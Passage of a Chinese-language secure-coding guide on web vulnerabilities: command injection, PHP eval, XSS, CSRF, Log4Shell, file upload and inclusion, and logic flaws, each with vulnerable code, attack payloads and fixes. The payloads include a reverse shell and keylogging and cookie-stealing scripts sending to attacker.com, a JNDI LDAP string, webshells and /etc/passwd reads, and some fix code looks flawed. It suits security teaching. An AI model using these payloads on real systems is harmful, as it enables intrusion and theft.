## 2. 命令注入漏洞

### 漏洞原理
命令注入漏洞是由于应用程序直接使用用户输入构建系统命令并执行，导致攻击者可以执行任意系统命令。这种漏洞通常出现在需要执行系统命令的功能中，如文件操作、网络操作等。

**危害**：
- 执行任意系统命令
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器

### 代码片段
```python
# 文件：src/utils/system.py:45-52
def ping_host(host):
    """Ping a host to check if it's reachable"""
    # 直接使用用户输入构建命令
    command = f"ping -c 4 {host}"
    try:
        result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
        return result
    except subprocess.CalledProcessError as e:
        return e.output
```

### 攻击链分析
1. **攻击者提交恶意输入**：`127.0.0.1; ls -la`
2. **服务器执行恶意命令**：`ping -c 4 127.0.0.1; ls -la`
3. **获取敏感信息**：命令执行返回当前目录文件列表
4. **进一步攻击**：攻击者可以执行任意系统命令，包括读取敏感文件、修改系统配置、获取权限等

### 攻击Payload
```bash
# 执行基本命令
curl "http://example.com/ping?host=127.0.0.1; ls -la"

# 读取敏感文件
curl "http://example.com/ping?host=127.0.0.1; cat /etc/passwd"

# 反向Shell
curl "http://example.com/ping?host=127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# 修改系统配置
curl "http://example.com/ping?host=127.0.0.1; echo 'evil code' > /etc/crontab"
```

### 修复建议
```python
# ✅ 安全：使用安全的命令执行方式
def ping_host(host):
    """Ping a host to check if it's reachable"""
    # 使用安全的命令执行方式
    try:
        result = subprocess.check_output(['ping', '-c', '4', host], stderr=subprocess.STDOUT, text=True)
        return result
    except subprocess.CalledProcessError as e:
        return e.output
```

## 3. PHP代码执行漏洞

### 漏洞原理
PHP代码执行漏洞是由于应用程序直接将用户可控的输入传递给代码执行函数，导致攻击者可以在服务器上执行任意PHP代码。这种漏洞通常出现在需要动态执行代码的功能中，如模板引擎、配置解析等。

**危害**：
- 执行任意PHP代码
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器
- 持久化攻击（上传Webshell）

### 代码片段

#### 1. eval()函数滥用
```php
// 文件：src/api/test.php
<?php
$id = $_GET['x'];
eval($id);
?>
```

#### 2. assert()函数滥用（PHP 7.0之前）
```php
// 文件：src/api/test.php
<?php
$id = $_GET['x'];
assert($id);
?>
```

#### 3. 回调函数滥用
```php
// 文件：src/api/test.php
<?php
$func = $_GET['func'];
$param = $_GET['param'];
call_user_func($func, $param);
?>
```

### 攻击链分析
1. **攻击者构造恶意请求**：`GET /test.php?x=phpinfo();`
2. **服务器执行恶意代码**：`eval('phpinfo();')`
3. **获取系统信息**：phpinfo()函数执行，返回服务器详细信息
4. **进一步攻击**：攻击者可以上传Webshell、执行系统命令、窃取数据等

### 攻击Payload
```bash
# 执行phpinfo
curl "http://example.com/test.php?x=phpinfo();"

# 读取敏感文件
curl "http://example.com/test.php?x=echo file_get_contents('/etc/passwd');"

# 执行系统命令
curl "http://example.com/test.php?x=system('ls -la');"

# 上传Webshell
curl "http://example.com/test.php?x=file_put_contents('shell.php', '<php>system($_GET[cmd]);</php>');"

# 使用回调函数执行代码
curl "http://example.com/test.php?func=system&param=ls -la"
```

### 实战案例：zzzphp V1.6.0模板解析代码执行

**代码片段**：
```php
// 文件：inc/zzz_template.php
public function parserIfLabel($content) {
    $pattern = '/\{if:(.*?)\}(.*?)\{end if\}/is';
    preg_match_all($pattern, $content, $matches);
    foreach ($matches[0] as $k => $v) {
        $condition = $matches[1][$k];
        $html = $matches[2][$k];
        $condition = str_replace('\\"', '"', $condition);
        $condition = str_replace('\'', "'", $condition);
        $condition = str_replace('\\\'', "'", $condition);
        eval('$condition = ' . $condition . ';');
        if ($condition) {
            $content = str_replace($v, $html, $content);
        } else {
            $content = str_replace($v, '', $content);
        }
    }
    return $content;
}
```

**攻击Payload**：
```bash
# 在模板文件中插入恶意代码
# 访问包含该模板的页面
curl "http://example.com/index.php"
```

**模板中的恶意代码**：
```php
{if:assert(phpinfo())}x{end if}
```

### 修复建议

```php
// ✅ 安全：避免使用eval()等危险函数
<?php
// 1. 不使用eval()执行用户输入
// 2. 如果必须使用，确保输入经过严格验证
function safeEval($code) {
    // 严格验证输入
    $allowedFunctions = ['strlen', 'substr', 'md5'];
    $pattern = '/[^a-zA-Z0-9_\s.()\"\'{}[]+-*/%=&|<>]/';
    if (preg_match($pattern, $code)) {
        return 'Invalid input';
    }
    
    // 验证是否只使用了允许的函数
    foreach ($allowedFunctions as $func) {
        if (strpos($code, $func) !== false) {
            return eval('return ' . $code . ';');
        }
    }
    return 'Function not allowed';
}

// 3. 使用模板引擎的安全模式
// 例如：Smarty的沙箱模式
// $smarty->enableSecurity();
?>
```

## 4. 跨站脚本(XSS)漏洞

### 漏洞原理
XSS漏洞是由于Web应用程序对用户输入的内容没有进行适当的验证和转义，导致攻击者可以在网页中注入恶意脚本代码。当其他用户访问该网页时，浏览器会执行这些恶意脚本，从而导致会话劫持、数据窃取、钓鱼攻击等安全问题。

**危害**：
- 会话劫持：窃取用户的cookie和会话ID
- 数据窃取：窃取用户输入的敏感信息
- 钓鱼攻击：在网页中插入伪造的登录表单
- 网页篡改：修改网页内容，传播恶意信息
- 键盘记录：记录用户的键盘输入

### 代码片段
```javascript
// 文件：src/api/comments.js:30-40
app.post('/comments', (req, res) => {
    const comment = req.body.comment;
    // 直接存储用户输入
    db.query('INSERT INTO comments (content) VALUES (?)', [comment], (err, results) => {
        if (err) throw err;
        res.json({ success: true });
    });
});

// 文件：src/api/comments.js:45-55
app.get('/comments', (req, res) => {
    db.query('SELECT * FROM comments', (err, results) => {
        if (err) throw err;
        // 直接输出用户输入
        res.render('comments', { comments: results });
    });
});
```

### 攻击链分析
1. **攻击者提交恶意评论**：`<script>alert('XSS')</script>`
2. **服务器存储恶意评论**：将恶意脚本存储到数据库
3. **其他用户访问评论页面**：服务器从数据库读取恶意脚本并直接输出到页面
4. **恶意脚本执行**：浏览器执行恶意脚本，可能导致会话劫持、数据窃取等

### 攻击Payload
```html
# 基本XSS
<script>alert('XSS')</script>

# 会话劫持
<script>var img = new Image(); img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;</script>

# 钓鱼
<script>
document.write('<form action="http://attacker.com/steal.php" method="post">');
document.write('<input type="text" name="username" placeholder="Username">');
document.write('<input type="password" name="password" placeholder="Password">');
document.write('<input type="submit" value="Login">');
document.write('</form>');
</script>

# 键盘记录
<script>
var keys = '';
document.onkeypress = function(e) {
    keys += String.fromCharCode(e.which);
    var img = new Image();
    img.src = 'http://attacker.com/keylog.php?keys=' + keys;
};
</script>
```

### 修复建议
```javascript
// ✅ 安全：使用HTML转义
app.get('/comments', (req, res) => {
    db.query('SELECT * FROM comments', (err, results) => {
        if (err) throw err;
        // 使用HTML转义
        const safeComments = results.map(comment => ({
            ...comment,
            content: escapeHtml(comment.content)
        }));
        res.render('comments', { comments: safeComments });
    });
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}
```

### PHP特有XSS防护绕过技术

#### 1. 过滤函数绕过
**代码片段**：
```php
// 文件：src/api/comments.php
<?php
$content = $_POST['content'];
// 简单的过滤
$content = addslashes(strip_tags($content));
// 存储到数据库
mysql_query("INSERT INTO comments (content) VALUES ('$content')");
?>
```

**攻击Payload**：
```html
# 绕过strip_tags（只过滤尖括号）
<img src="javascript:alert('XSS')">

# 使用事件属性
<div onclick="alert('XSS')">点击我</div>

# 使用SVG
<svg onload="alert('XSS')"></svg>
```

#### 2. 输出位置绕过
**代码片段**：
```php
// 文件：src/api/search.php
<?php
$keyword = $_GET['keyword'];
echo "搜索结果: $keyword";
?>
```

**攻击Payload**：
```html
# 在JavaScript代码中
http://example.com/search.php?keyword=");alert('XSS');//

# 在HTML属性中
http://example.com/search.php?keyword=" onclick="alert('XSS')

# 在CSS中
http://example.com/search.php?keyword=" style="background:url(javascript:alert('XSS'))"
```

## 5. CSRF（跨站请求伪造）漏洞

### 漏洞原理
CSRF漏洞是由于应用程序未正确实施CSRF保护机制，导致攻击者可以通过欺骗用户浏览器发送恶意请求，利用用户的身份执行未授权操作。

**危害**：
- 未授权操作（如修改密码、转账、发布内容）
- 数据修改或删除
- 账户接管
- 资金损失
- 隐私泄露

### 代码片段

#### 1. GET型CSRF
```php
// 文件：src/api/profile.php
<?php
if (isset($_GET['action']) && $_GET['action'] == 'delete') {
    $id = $_GET['id'];
    // 直接执行删除操作，无CSRF保护
    mysql_query("DELETE FROM users WHERE id = '$id'");
    echo "删除成功";
}
?>
```

#### 2. POST型CSRF
```php
// 文件：src/api/transfer.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $amount = $_POST['amount'];
    $recipient = $_POST['recipient'];
    // 直接执行转账操作，无CSRF保护
    mysql_query("INSERT INTO transfers (amount, recipient, user_id) VALUES ('$amount', '$recipient', '$_SESSION[user_id]')");
    echo "转账成功";
}
?>
```

### 攻击链分析
1. **攻击者构造恶意页面**：包含自动提交的表单或JavaScript代码
2. **用户访问恶意页面**：浏览器自动发送请求到目标网站
3. **服务器处理请求**：由于请求包含用户的身份信息（Cookie），服务器认为是用户主动操作
4. **执行未授权操作**：服务器执行恶意请求，如删除账户、转账等

### 攻击Payload

#### 1. 自动提交表单
```html
<form action="http://example.com/transfer.php" method="post">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="recipient" value="attacker">
    <input type="submit" value="点击领取奖品">
</form>
<script>document.forms[0].submit();</script>
```

#### 2. JavaScript XMLHttpRequest
```javascript
function attack() {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://example.com/transfer.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('amount=1000&recipient=attacker');
}
attack();
```

#### 3. 图片标签（GET型）
```html
<img src="http://example.com/profile.php?action=delete&id=1" width="0" height="0">
```

### 实战案例：熊海CMS CSRF漏洞

**代码片段**：
```php
// 文件：admin/files/linklist.php
<?php
if (isset($_GET['delete'])) {
    $id = $_GET['delete'];
    mysql_query("DELETE FROM link WHERE id = '$id'");
    echo "<script>alert('删除成功');location.href='?r=linklist';</script>";
}
?>
```

**攻击Payload**：
```javascript
// 1.js
function del() {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://example.com/admin/?r=linklist&delete=6');
    xhr.send(null);
}
del();

// 嵌入到XSS中
<script src="http://attacker.com/1.js"></script>
```

### XSS与CSRF组合利用

**攻击场景**：
1. 攻击者在目标网站发现存储型XSS漏洞
2. 攻击者注入包含CSRF攻击代码的恶意脚本
3. 当管理员访问包含恶意脚本的页面时，自动执行CSRF攻击
4. 攻击者可以执行管理员权限的操作，如添加管理员账户、修改配置等

**攻击Payload**：
```html
<script>
// 构造CSRF攻击
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://example.com/admin/?r=user&action=add');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('user=attacker&[REDACTED_SECRET]');

// 隐藏操作
document.write('正常评论内容');
</script>
```

### 修复建议

#### 1. 添加CSRF令牌
```php
// ✅ 安全：使用CSRF令牌
<?php
// 生成CSRF令牌
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 验证CSRF令牌
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF验证失败');
    }
    // 执行操作
}
?>

<!-- 在表单中添加CSRF令牌 -->
<form action="transfer.php" method="post">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <input type="text" name="amount" placeholder="金额">
    <input type="text" name="recipient" placeholder="收款人">
    <input type="submit" value="转账">
</form>
```

#### 2. 验证Referer头
```php
// ✅ 安全：验证Referer头
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $referer = $_SERVER['HTTP_REFERER'];
    if (!isset($referer) || strpos($referer, 'example.com') === false) {
        die('Referer验证失败');
    }
    // 执行操作
}
?>
```

#### 3. 使用SameSite Cookie
```php
// ✅ 安全：设置SameSite Cookie
<?php
// PHP 7.3+
session_set_cookie_params([
    'samesite' => 'Strict',
    'secure' => true,
    'httponly' => true
]);
session_start();
?>
```

## 6. Go语言gRPC服务信息泄露漏洞

### 漏洞原理
在Go语言的gRPC服务中，当开发者使用`reflection.Register`注册服务时，会启用gRPC的反射功能，允许客户端查询服务的接口定义、方法、参数等信息。如果这些信息被未授权的攻击者获取，可能导致服务信息泄露，帮助攻击者了解系统架构和潜在的攻击点。

**危害**：
- 服务接口信息泄露：攻击者可以获取所有服务方法和参数定义
- 系统架构暴露：攻击者可以了解系统的整体架构设计
- 潜在攻击点识别：攻击者可以根据接口信息识别潜在的安全漏洞
- 针对性攻击：攻击者可以基于泄露的信息构建针对性的攻击Payload

### 代码片段
```go
// 文件：cmd/server/main.go
package main

import (
	"context"
	"log"
	"net"

	"google.golang.org/grpc"
	"google.golang.org/grpc/reflection"

	"example.com/grpc-service/api"
)

func main() {
	// 创建gRPC服务器
	server := grpc.NewServer()
	
	// 注册服务
	api.RegisterUserServiceServer(server, &UserService{})
	
	// ❌ 危险：启用反射功能，可能导致服务信息泄露
	reflection.Register(server)
	
	// 启动服务器
	listener, err := net.Listen("tcp", ":50051")
	if err != nil {
		log.Fatalf("Failed to listen: %v", err)
	}
	
	log.Println("Server listening on port 50051")
	if err := server.Serve(listener); err != nil {
		log.Fatalf("Failed to serve: %v", err)
	}
}
```

### 攻击Payload
```bash
# 使用grpc_cli工具获取服务列表
grpc_cli ls localhost:50051

# 获取服务方法
grpc_cli ls localhost:50051 example.com.grpc_service.api.UserService

# 获取方法详情
grpc_cli describe localhost:50051 example.com.grpc_service.api.UserService.GetUser

# 调用方法（如果不需要认证）
grpc_cli call localhost:50051 example.com.grpc_service.api.UserService.GetUser "id: 1"
```

### 修复建议
```go
// ✅ 安全：生产环境禁用反射功能
package main

import (
	"context"
	"log"
	"net"
	"os"

	"google.golang.org/grpc"
	"google.golang.org/grpc/reflection"

	"example.com/grpc-service/api"
)

func main() {
	// 创建gRPC服务器
	server := grpc.NewServer()
	
	// 注册服务
	api.RegisterUserServiceServer(server, &UserService{})
	
	// ✅ 安全：只在开发环境启用反射
	if os.Getenv("GO_ENV") != "production" {
		reflection.Register(server)
		log.Println("Reflection enabled for development")
	}
	
	// 启动服务器
	listener, err := net.Listen("tcp", ":50051")
	if err != nil {
		log.Fatalf("Failed to listen: %v", err)
	}
	
	log.Println("Server listening on port 50051")
	if err := server.Serve(listener); err != nil {
		log.Fatalf("Failed to serve: %v", err)
	}
}
```

## 7. Java Log4Shell漏洞（CVE-2021-44228）

### 漏洞原理
Log4Shell是Apache Log4j 2.x版本中的一个严重漏洞，由于JNDI（Java Naming and Directory Interface）注入导致。攻击者可以通过构造特殊的日志消息，触发远程代码执行。

**危害**：
- 远程代码执行
- 完全控制系统
- 数据泄露
- 服务中断

### 代码片段
```java
// 文件：src/main/java/com/example/App.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    
    public static void main(String[] args) {
        String userInput = args[0];
        // ❌ 危险：直接记录用户输入
        logger.info("User input: {}", userInput);
    }
}
```

### 攻击链分析
1. **攻击者构造恶意输入**：`${jndi:ldap://attacker.com/exploit}`
2. **应用程序记录日志**：Log4j处理日志消息时解析JNDI表达式
3. **连接攻击者LDAP服务器**：应用程序尝试从攻击者的LDAP服务器加载恶意类
4. **执行恶意代码**：恶意类被加载并执行，导致远程代码执行

### 攻击Payload
```bash
# 构造恶意请求
java -jar app.jar "${jndi:ldap://attacker.com:1389/exploit}"
```

### 修复建议
```java
// ✅ 安全：升级Log4j版本
// 或使用安全配置
System.setProperty("log4j2.formatMsgNoLookups", "true");
```

## 8. Python Django CSRF漏洞

### 漏洞原理
Django框架中的CSRF（跨站请求伪造）漏洞是由于未正确实施CSRF保护机制，导致攻击者可以通过欺骗用户浏览器发送恶意请求。

**危害**：
- 未授权操作
- 数据修改
- 账户接管

### 代码片段
```python
# 文件：src/views.py
def transfer_money(request):
    # ❌ 危险：未检查CSRF令牌
    if request.method == 'POST':
        amount = request.POST.get('amount')
        recipient = request.POST.get('recipient')
        # 执行转账操作
        return HttpResponse('Transfer successful')
    return HttpResponse('GET request not allowed')
```

### 攻击链分析
1. **攻击者构造恶意页面**：包含自动提交的表单
2. **用户访问恶意页面**：浏览器自动提交表单到目标网站
3. **服务器处理请求**：未检查CSRF令牌，执行转账操作
4. **转账成功**：攻击者成功完成未授权转账

### 攻击Payload
```html
<form action="http://example.com/transfer" method="post">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="recipient" value="attacker">
    <input type="submit" value="Click here for a free prize">
</form>
<script>document.forms[0].submit();</script>
```

### 修复建议
```python
// ✅ 安全：使用CSRF保护
from django.http import HttpResponse
from django.views.decorators.csrf import csrf_protect

@csrf_protect
def transfer_money(request):
    if request.method == 'POST':
        amount = request.POST.get('amount')
        recipient = request.POST.get('recipient')
        # 执行转账操作
        return HttpResponse('Transfer successful')
    return HttpResponse('GET request not allowed')
```

## 9. PHP文件上传漏洞

### 漏洞原理
PHP文件上传漏洞是由于未对上传文件的类型、大小、内容进行严格验证，导致攻击者可以上传恶意文件（如Webshell）到服务器。

**危害**：
- 远程代码执行
- 服务器控制权
- 数据泄露

### 代码片段
```php
// 文件：upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    // ❌ 危险：未验证文件类型
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>
```

### 攻击链分析
1. **攻击者准备恶意文件**：创建包含恶意代码的PHP文件
2. **上传恶意文件**：通过文件上传表单上传恶意文件
3. **服务器存储文件**：未验证文件类型，直接存储恶意文件
4. **访问恶意文件**：攻击者访问上传的恶意文件，执行恶意代码

### 攻击Payload
```php
# 恶意文件：shell.php
<?php system($_GET['cmd']); ?>
```

### 修复建议
```php
// ✅ 安全：验证文件类型
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
    
    // 允许的文件类型
    $allowed_types = array("jpg", "jpeg", "png", "gif");
    if (!in_array($imageFileType, $allowed_types)) {
        echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
        exit;
    }
    
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>
```

## 10. PHP文件操作漏洞

### 漏洞原理
PHP文件操作漏洞是由于应用程序对文件路径或文件内容的处理不当，导致攻击者可以访问、修改或删除未授权的文件。这类漏洞通常出现在需要文件操作的功能中，如文件包含、文件上传、文件下载等。

**危害**：
- 读取敏感文件（如配置文件、密码文件）
- 执行恶意代码（通过文件包含）
- 删除重要文件
- 上传恶意文件（如Webshell）
- 绕过安全限制
- 服务器接管

### 1. 文件包含漏洞

#### 本地文件包含（LFI）
**代码片段**：
```php
// 文件：src/api/index.php
<?php
// 单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
```

**攻击Payload**：
```bash
# 包含本地文件
curl "http://example.com/index.php?r=../etc/passwd%00"

# 包含日志文件
curl "http://example.com/index.php?r=../var/log/apache/access.log%00"

# 包含会话文件
curl "http://example.com/index.php?r=../tmp/sess_$(echo md5('user'))%00"
```

#### 远程文件包含（RFI）
**代码片段**：
```php
// 文件：src/api/index.php
<?php
$file = $_GET['file'];
include($file);
?>
```

**攻击Payload**：
```bash
# 包含远程文件
curl "http://example.com/index.php?file=http://attacker.com/shell.txt?"

# 使用PHP伪协议
curl "http://example.com/index.php?file=php://input"
# POST数据：<?php system('ls -la'); ?>

# 使用data伪协议
curl "http://example.com/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtbGEpOyA/Pg=="
```

### 2. 任意文件删除漏洞

**代码片段**：
```php
// 文件：src/api/file.php
<?php
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    // 直接删除文件，无验证
    unlink($file);
    echo "文件删除成功";
}
?>
```

**攻击Payload**：
```bash
# 删除任意文件
curl "http://example.com/file.php?file=../config.php"

# 删除安装锁文件（导致重复安装）
curl "http://example.com/file.php?file=../install.lock"
```

### 3. 任意文件下载漏洞

**代码片段**：
```php
// 文件：src/api/download.php
<?php
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    // 直接读取文件，无验证
    echo file_get_contents($file);
}
?>
```

**攻击Payload**：
```bash
# 下载配置文件
curl "http://example.com/download.php?file=../config.php"

# 下载密码文件
curl "http://example.com/download.php?file=/etc/passwd"

# 下载数据库文件
curl "http://example.com/download.php?file=../database.sqlite"
```

### 4. 实战案例：zzzphp文件上传绕过

**代码片段**：
```php
// 文件：inc/zzz_file.php
function uploadfile($file, $dir, $type = '', $pic = 0) {
    $ext = substr(strrchr($file['name'], '.'), 1);
    if ($type) {
        $extarr = explode(',', $type);
        if (!in_array($ext, $extarr)) {
            return array('error' => '文件类型错误');
        }
    }
    // 其他代码...
    move_uploaded_file($file['tmp_name'], $dir . $newname);
    return array('error' => 0, 'name' => $newname);
}
```

**攻击Payload**：
```bash
# 通过添加asa扩展名绕过
# 1. 在后台添加asa为允许的扩展名
# 2. 上传shell.asa文件
# 3. 访问上传的文件执行代码
curl "http://example.com/upload/shell.asa?cmd=ls -la"
```

### 攻击链分析
1. **攻击者构造恶意请求**：`GET /index.php?r=../etc/passwd%00`
2. **服务器处理请求**：`include('files/../etc/passwd\0.php')`
3. **文件包含执行**：服务器包含并执行目标文件
4. **获取敏感信息**：攻击者获取文件内容，如密码、配置等

### 修复建议

#### 1. 文件包含防护
```php
// ✅ 安全：使用白名单验证
<?php
$allowed_files = array('index', 'user', 'admin');
$file = $_GET['r'];

if (in_array($file, $allowed_files)) {
    include('files/'.$file.'.php');
} else {
    include('files/index.php');
}
?>

// ✅ 安全：禁用远程文件包含
<?php
ini_set('allow_url_include', '0');
ini_set('allow_url_fopen', '0');
?>
```

#### 2. 任意文件删除防护
```php
// ✅ 安全：限制删除范围
<?php
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    $allowed_dir = realpath('uploads/');
    $target_file = realpath($file);
    
    // 验证文件是否在允许的目录内
    if (strpos($target_file, $allowed_dir) === 0) {
        unlink($target_file);
        echo "文件删除成功";
    } else {
        echo "无权删除该文件";
    }
}
?>
```

#### 3. 任意文件下载防护
```php
// ✅ 安全：限制下载范围
<?php
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    $allowed_dir = realpath('downloads/');
    $target_file = realpath($file);
    
    // 验证文件是否在允许的目录内
    if (strpos($target_file, $allowed_dir) === 0) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($target_file) . '"');
        readfile($target_file);
    } else {
        echo "无权下载该文件";
    }
}
?>
```

## 11. PHP逻辑漏洞

### 漏洞原理
PHP逻辑漏洞是由于应用程序的业务逻辑设计不当，导致攻击者可以绕过安全限制或执行未授权操作。这类漏洞通常不出现在特定的函数中，而是存在于整个业务流程的设计中，因此更难被自动化工具检测到。

**危害**：
- 越权访问（水平越权、垂直越权）
- 身份验证绕过
- 业务逻辑绕过
- 数据泄露
- 资金损失
- 账户接管

### 1. 越权漏洞

#### 后台越权
**代码片段**：
```php
// 文件：admin/files/index.php
<?php
// 缺少登录验证
// 直接访问后台功能
if (isset($_GET['action']) && $_GET['action'] == 'delete') {
    $id = $_GET['id'];
    mysql_query("DELETE FROM users WHERE id = '$id'");
    echo "删除成功";
}
?>
```

**攻击Payload**：
```bash
# 直接访问后台删除功能
curl "http://example.com/admin/files/index.php?action=delete&id=1"
```

#### 水平越权
**代码片段**：
```php
// 文件：src/api/profile.php
<?php
session_start();
if (isset($_POST['update'])) {
    $uid = $_POST['uid'];
    $name = $_POST['name'];
    // 未验证用户是否有权限修改该ID的资料
    mysql_query("UPDATE users SET name = '$name' WHERE id = '$uid'");
    echo "更新成功";
}
?>
```

**攻击Payload**：
```bash
# 修改其他用户资料
curl -X POST "http://example.com/profile.php" \
  -d "update=1&uid=2&name=attacker"
```

#### 垂直越权
**代码片段**：
```php
// 文件：src/api/admin.php
<?php
session_start();
if (isset($_GET['action']) && $_GET['action'] == 'add_user') {
    // 未验证用户权限
    $user = $_GET['user'];
    $[REDACTED_SECRET]'password'];
    mysql_query("INSERT INTO users (user, password, role) VALUES ('$user', '$password', 'admin')");
    echo "添加成功";
}
?>
```

**攻击Payload**：
```bash
# 普通用户添加管理员账户
curl "http://example.com/admin.php?action=add_user&user=attacker&[REDACTED_SECRET]"
```

### 2. Cookies验证不严

**代码片段**：
```php
// 文件：src/api/checklogin.php
<?php
session_start();
if (isset($_COOKIE['user'])) {
    // 只验证Cookies存在，无签名或加密
    $_SESSION['user'] = $_COOKIE['user'];
    echo "登录成功";
} else {
    echo "请登录";
}
?>
```

**攻击Payload**：
```bash
# 伪造Cookies登录
curl "http://example.com/checklogin.php" \
  -H "Cookie: user=admin"
```

### 3. 安装程序逻辑问题

**代码片段**：
```php
// 文件：src/install.php
<?php
if (file_exists('install.lock')) {
    echo "系统已安装，请删除install.php后访问";
    // 未正确退出，导致可以继续执行安装
}

// 安装逻辑
if (isset($_POST['submit'])) {
    // 创建数据库
    // 写入配置
    // ...
    file_put_contents('install.lock', '1');
    echo "安装成功";
}
?>
```

**攻击Payload**：
```bash
# 绕过安装锁，重复安装
curl -X POST "http://example.com/install.php" \
  -d "submit=1&dbhost=localhost&dbuser=root&dbpass=root&dbname=test"
```

### 4. 验证码逻辑问题

**代码片段**：
```php
// 文件：src/api/login.php
<?php
session_start();
if (isset($_POST['login'])) {
    $user = $_POST['user'];
    $[REDACTED_SECRET]'password'];
    $code = $_POST['code'];
    
    // 验证码验证逻辑错误
    if ($code == $_SESSION['code'] || $code == '123456') {
        // 验证用户名密码
        $result = mysql_query("SELECT * FROM users WHERE user = '$user' AND [REDACTED_SECRET]'");
        if (mysql_num_rows($result) > 0) {
            echo "登录成功";
        } else {
            echo "用户名或密码错误";
        }
    } else {
        echo "验证码错误";
    }
}
?>
```

**攻击Payload**：
```bash
# 使用默认验证码登录
curl -X POST "http://example.com/login.php" \
  -d "login=1&user=admin&[REDACTED_SECRET]"
```

### 5. 支付逻辑问题

**代码片段**：
```php
// 文件：src/api/pay.php
<?php
session_start();
if (isset($_POST['pay'])) {
    $amount = $_POST['amount'];
    $order_id = $_POST['order_id'];
    
    // 未验证金额是否合理
    if ($amount > 0) {
        // 执行支付
        mysql_query("UPDATE orders SET status = 'paid', amount = '$amount' WHERE id = '$order_id'");
        echo "支付成功";
    } else {
        echo "金额错误";
    }
}
?>
```

**攻击Payload**：
```bash
# 支付0.01元购买1000元商品
curl -X POST "http://example.com/pay.php" \
  -d "pay=1&order_id=1&amount=0.01"
```

### 攻击链分析
1. **攻击者发现逻辑漏洞**：通过分析业务流程或尝试不同的输入组合
2. **构造恶意请求**：利用逻辑漏洞，绕过安全限制
3. **执行未授权操作**：如修改其他用户资料、添加管理员账户、绕过支付等
4. **获取利益或权限**：通过漏洞获取经济利益或系统权限

### 修复建议

#### 1. 越权防护
```php
// ✅ 安全：添加权限验证
<?php
session_start();
// 验证是否登录
if (!isset($_SESSION['user'])) {
    die('请先登录');
}

// 水平越权防护
if (isset($_POST['update'])) {
    $uid = $_POST['uid'];
    // 验证用户是否只能修改自己的资料
    if ($uid != $_SESSION['user_id']) {
        die('无权修改其他用户资料');
    }
    // 执行更新操作
}

// 垂直越权防护
if (isset($_GET['action']) && $_GET['action'] == 'add_user') {
    // 验证用户是否为管理员
    if ($_SESSION['role'] != 'admin') {
        die('权限不足');
    }
    // 执行添加操作
}
?>
```

#### 2. Cookies验证防护
```php
// ✅ 安全：使用加密的Cookies
<?php
session_start();

// 设置安全的Cookies
function setSecureCookie($name, $value, $expire = 0) {
    setcookie($name, $value, $expire, '/', '', true, true);
}

// 验证Cookies
if (isset($_COOKIE['user'])) {
    // 验证Cookies签名
    $user = $_COOKIE['user'];
    $signature = $_COOKIE['signature'];
    if (hash_hmac('sha256', $user, 'secret_key') === $signature) {
        $_SESSION['user'] = $user;
        echo "登录成功";
    } else {
        echo "无效的Cookies";
    }
} else {
    echo "请登录";
}
?>
```

#### 3. 安装程序防护
```php
// ✅ 安全：正确的安装锁逻辑
<?php
if (file_exists('install.lock')) {
    echo "系统已安装，请删除install.php后访问";
    exit; // 必须退出
}

// 安装逻辑
if (isset($_POST['submit'])) {
    // 创建数据库
    // 写入配置
    // ...
    file_put_contents('install.lock', '1');
    echo "安装成功";
    exit;
}
?>
```

## 12. Go语言安全漏洞

### 1. 不安全的反射使用

**漏洞原理**：
Go语言中的反射机制允许程序在运行时检查和操作变量、接口、结构体等。如果反射操作不当，可能导致类型断言失败、空指针解引用、甚至远程代码执行（在特定场景下）。

**危害**：
- 类型断言失败导致程序崩溃
- 空指针解引用导致程序崩溃
- 信息泄露
- 潜在的远程代码执行（在特定场景下）

